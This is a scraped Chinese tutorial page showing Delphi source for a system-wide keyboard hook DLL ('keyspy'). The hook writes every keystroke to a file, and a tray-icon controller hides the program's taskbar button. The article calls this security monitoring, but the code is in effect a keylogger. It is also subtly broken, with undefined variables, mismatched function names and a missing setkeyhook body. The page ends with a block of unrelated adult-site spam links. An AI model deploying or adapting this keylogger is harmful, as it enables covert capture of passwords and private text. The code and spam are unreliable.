• <label id="pxtpz"><meter id="pxtpz"></meter></label>
      1. <span id="pxtpz"><optgroup id="pxtpz"></optgroup></span>

        當前位置:雨林木風下載站 > 技術開發教程 > 詳細頁面

        運用Hook技術完成鍵盤監控

        運用Hook技術完成鍵盤監控

        更新時間:2022-05-13 文章作者:未知 信息來源:網絡 閱讀次數:

        在許多系統中,出于安全或其它原因,常常要求隨時對鍵盤進行監控,一個專業的監控程序必須具備兩點,一是實時;二是作為指示圖標運行。實際應用中把利用Hook(即鉤子)技術編寫的應用程序添加到Windows的任務欄的指示區中就能夠很好的達到這個目的。我在參考了API幫助文檔基礎上,根據在Delphi開發環境中的具體實現分別對這兩部分進行詳細論述。

        一、Hook(鉤子)的實現:

        ---- Hook是應用程序在Microsoft Windows 消息處理過程中設置的用來監控消息流并且處理系統中尚未到達目的窗口的某一類型消息過程的機制。如果Hook過程在應用程序中實現,若應用程序不是當前窗口時,該Hook就不起作用;如果Hook在DLL中實現,程序在運行中動態調用它,它能實時對系統進行監控。根據需要,我們采用的是在DLL中實現Hook的方式。

        ---- 1.新建一個導出兩個函數的DLL文件,在hookproc.pas中定義了鉤子具體實現過程。代碼如下:

        library keyspy;
        uses
        windows, messages, hookproc in 'hookproc.pas';
        exports
        setkeyhook,
        endkeyhook;
        begin
        nexthookproc:=0;
        procsaveexit:=exitproc;
        exitproc:=@keyhookexit;
        end.

        2.在Hookproc.pas中實現了鉤子具體過程:
        unit hookproc;
        interface
        uses
        Windows, Messages, SysUtils, Controls, StdCtrls;
        var
        nexthookproc:hhook;
        procsaveexit:pointer;
        function keyboardhook(icode:integer;wparam:wparam;
        lparam:lparam):lresult;stdcall;export;
        function setkeyhook:bool;export;//加載鉤子
        function endkeyhook:bool;export;//卸載鉤子
        procedure keyhookexit;far;
        const
        afilename='c:\debug.txt';//將鍵盤輸入動作寫入文件中
        var
        debugfile:textfile;
        implementation
        function keyboardhookhandler(icode:integer;wparam:wparam;
        lparam:lparam):lresult;stdcall;export;
        begin
        if icode<0 then
        begin
        result:=callnexthookex(hnexthookproc,icode,wparam,lparam);
        exit;
        end;
        assignfile(debugfile,afilename);
        append(debugfile);
        if getkeystate(vk_return)<0 then
        begin
        writeln(debugfile,'');
        write(debugfile,char(wparam));
        end
        else
        write(debugfile,char(wparam));
        closefile(debugfile);
        result:=0;
        end;
        function endkeyhook:bool;export;
        begin
        if nexthookproc<>0 then begin
        unhookwindowshookex(nexthookproc);
        nexthookproc:=0;
        messagebeep(0); end;
        result:=hnexthookproc=0;
        end;
        procedure keyhookexit;far;
        begin
        if nexthookproc<>0 then endkeyhook;
        exitproc:=procsaveexit; end;
        end.

        ---- 二、Win95/98使用任務欄右方指示區來顯示應用程序或工具圖標對指示區圖標的操作涉及了一個API函數Shell_NotifyIcon,它有兩個參數,一個是指向TnotifyIconData結構的指針,另一個是要添加、刪除、改動圖標的標志。通過該函函數將應用程序的圖標添加到指示區中,使其作為圖標運行,增加專業特色。當程序起動后,用鼠標右鍵點擊圖標,則彈出一個菜單,可選擇sethook或endhook。

        unit kb;
        interface
        uses
        Windows, Messages, SysUtils, Classes,
        Graphics, Controls, Forms,
        Dialogs,
        StdCtrls, Menus,shellapi;
        const
        icon_id=1;
        MI_iconevent=wm_user+1;//定義一個用戶消息
        type
        TForm1 = class(TForm)
        PopupMenu1: TPopupMenu;
        sethook1: TMenuItem;
        endhook1: TMenuItem;
        N1: TMenuItem;
        About1: TMenuItem;
        Close1: TMenuItem;
        Gettext1: TMenuItem;
        procedure FormCreate(Sender: TObject);
        procedure sethook1Click(Sender: TObject);
        procedure endhook1Click(Sender: TObject);
        procedure FormDestroy(Sender: TObject);
        procedure Close1Click(Sender: TObject);
        private
        { Private declarations }
        nid:tnotifyicondata;
        normalicon:ticon;
        public
        { Public declarations }
        procedure icontray(var msg:tmessage);
        message mi_iconevent;
        end;
        var
        Form1: TForm1;
        implementation
        {$R *.DFM}
        function setkeyhook:bool;external 'keyspy.dll';
        function endkeyhook:bool;external 'keyspy.dll';

        procedure tform1.icontray(var msg:tmessage);
        var
        pt:tpoint;
        begin
        if msg.lparam=wm_lbuttondown then
        sethook1click(self);
        if msg.LParam=wm_rbuttondown then
        begin
        getcursorpos(pt);
        setforegroundwindow(handle);
        popupmenu1.popup(pt.x,pt.y);
        end;
        end;

        procedure TForm1.FormCreate(Sender: TObject);
        begin
        normalicon:=ticon.create;
        application.title:=caption;
        nid.cbsize:=sizeof(nid);
        nid.wnd:=handle;
        nid.uid:=icon_id;
        nid.uflags:=nif_icon or nif_message or nif_tip;
        nid.ucallbackmessage:=mi_iconevent;
        nid.hIcon :=normalicon.handle;
        strcopy(nid.sztip,pchar(caption));
        nid.uFlags:=nif_message or nif_icon or nif_tip;
        shell_notifyicon(nim_add,@nid);
        SetWindowLong(Application.Handle,
        GWL_EXSTYLE,WS_EX_TOOLWINDOW);
        end;

        procedure TForm1.sethook1Click(Sender: TObject);
        begin
        setkeyhook;
        end;

        procedure TForm1.endhook1Click(Sender: TObject);
        begin
        endkeyhook;
        end;

        procedure TForm1.FormDestroy(Sender: TObject);
        begin
        nid.uFlags :=0;
        shell_notifyicon(nim_delete,@nid);
        end;

        procedure TForm1.Close1Click(Sender: TObject);
        begin
        application.terminate;
        end;

        ---- 該程序雖然只用了幾個shellai函數,但是它涉及到了在Delphi中對DLL的引用、鉤子實現、對指示區的操作、用戶定義消息的處理、文件的讀寫等比較重要的內容,我相信這篇文章能對許多Delphi的初學者有所幫助。
        ---- 該程序在Win98、Delphi4.0中正常運行。

        溫馨提示:喜歡本站的話,請收藏一下本站!

        本類教程下載

        系統下載排行

        主站蜘蛛池模板: 亚洲综合区小说区激情区| 美女视频黄是免费的网址| 日本免费一二区在线电影| 亚洲国产日韩在线一区| 久久久久久免费一区二区三区| JLZZJLZZ亚洲乱熟无码| 羞羞视频在线观看免费| 中文字幕亚洲综合久久男男| 久久免费国产精品| 国产黄色一级毛片亚洲黄片大全| gogo免费在线观看| 久久亚洲综合色一区二区三区 | 亚洲av午夜成人片精品电影| 高潮毛片无遮挡高清免费视频| www.亚洲色图.com| 中文字幕在线免费看| 亚洲av无码乱码国产精品| 日韩电影免费在线观看| 青青草原精品国产亚洲av| 97在线观免费视频观看| 亚洲av午夜国产精品无码中文字 | 国产麻豆免费观看91| 瑟瑟网站免费网站入口| 中文亚洲AV片不卡在线观看| 中文字幕免费不卡二区| 精品日韩亚洲AV无码| 性感美女视频免费网站午夜 | 亚洲午夜精品在线| 免费看AV毛片一区二区三区| 午夜亚洲乱码伦小说区69堂| 久久国产成人亚洲精品影院 | 亚洲欧洲AV无码专区| 无码国产亚洲日韩国精品视频一区二区三区| 黄色一级毛片免费看| 亚洲AV无码第一区二区三区| 欧洲乱码伦视频免费| 免费一级毛片在线播放放视频| 国产精品亚洲片在线| 人禽杂交18禁网站免费| 久久免费香蕉视频| 亚洲一区二区三区国产精品无码|